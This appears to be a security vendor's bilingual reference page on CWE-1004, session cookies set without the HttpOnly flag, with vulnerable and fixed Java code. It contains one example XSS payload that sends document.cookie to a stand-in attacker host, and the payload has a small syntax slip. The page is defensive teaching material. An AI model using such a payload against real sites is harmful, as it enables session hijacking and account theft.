Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
CWE-1004 Variant Incomplete
Sensitive Cookie Without 'HttpOnly' Flag
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
Definition
What is CWE-1004?
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data.
Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Auswirkungen in der Praxis
Real-world CVEs caused by CWE-1004
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Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.
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CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
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Appliance for managing encrypted communications does not use HttpOnly flag.
Wie Angreifer es ausnutzen
Angreiferpfad Schritt für Schritt
- 1
In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.
- 2
The snippet of code below establishes a new cookie to hold the sessionID.
- 3
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
- 4
When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.
- 5
To mitigate the risk, use the setHttpOnly(true) method.
Verwundbares Codebeispiel
Vulnerable Java
The snippet of code below establishes a new cookie to hold the sessionID.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c); Angreifer-Payload
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">' Sicheres Codebeispiel
Secure Java
To mitigate the risk, use the setHttpOnly(true) method.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c); What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Präventions-Checkliste
How to prevent CWE-1004
- Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Erkennungssignale
How to detect CWE-1004
CWE-1004
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Häufig gestellte Fragen Was ist CWE-1004?
Wie gravierend ist CWE-1004?
Welche Sprachen oder Plattformen sind von CWE-1004 betroffen?
Wie kann ich CWE-1004 verhindern?
Wie erkennt und behebt Plexicus CWE-1004?
Wo erfahre ich mehr über CWE-1004?
Frequently asked questions
Was ist CWE-1004?
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
Wie gravierend ist CWE-1004?
MITRE stuft die Exploit-Wahrscheinlichkeit als mittel ein — eine Ausnutzung ist realistisch, erfordert aber meist bestimmte Bedingungen.
Welche Sprachen oder Plattformen sind von CWE-1004 betroffen?
MITRE lists the following affected platforms: Web Based.
Wie kann ich CWE-1004 verhindern?
Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Wie erkennt und behebt Plexicus CWE-1004?
Die SAST-Engine von Plexicus erkennt die Datenfluss-Signatur von CWE-1004 bei jedem Commit. Bei einem Treffer öffnet unser Codex-Remedium-Agent einen Fix-PR mit korrigiertem Code, Tests und einer einzeiligen Zusammenfassung für den Reviewer.
Wo erfahre ich mehr über CWE-1004?
MITRE veröffentlicht die kanonische Definition unter https://cwe.mitre.org/data/definitions/1004.html. Für ergänzende Hinweise kannst du auch die OWASP- und NIST-Dokumentation heranziehen.
Verwandte Schwachstellen
Weaknesses related to CWE-1004
CWE-732 Parent
Incorrect Permission Assignment for Critical Resource
This vulnerability occurs when a system grants overly permissive access to a sensitive resource, allowing unauthorized users or processes…
CWE-276 Sibling
Incorrect Default Permissions
This vulnerability occurs when software installation scripts set overly permissive file or directory access rights by default. Instead of…
CWE-277 Sibling
Insecure Inherited Permissions
This vulnerability occurs when an application sets default file or directory permissions that are too permissive, and these insecure…
CWE-278 Sibling
Insecure Preserved Inherited Permissions
This vulnerability occurs when a software product copies or extracts files while unintentionally preserving insecure permissions from…
CWE-279 Sibling
Incorrect Execution-Assigned Permissions
This vulnerability occurs when a running application incorrectly changes an object's access permissions, overriding the security settings…
CWE-281 Sibling
Improper Preservation of Permissions
This vulnerability occurs when a system fails to correctly maintain file or object permissions during operations like copying, sharing, or…
CWE-766 Sibling
Critical Data Element Declared Public
This vulnerability occurs when a critical piece of data—like a variable, field, or class member—is mistakenly declared as public when it…
Ressourcen
Further reading
- MITRE — offizielle CWE-1004 https://cwe.mitre.org/data/definitions/1004.html
- HttpOnly https://owasp.org/www-community/HttpOnly
- Some Bad News and Some Good News https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)?redirectedfrom=MSDN
- C is for cookie, H is for hacker - understanding HTTP only and Secure cookies https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/
- Mitigating Cross-site Scripting With HTTP-only Cookies https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN
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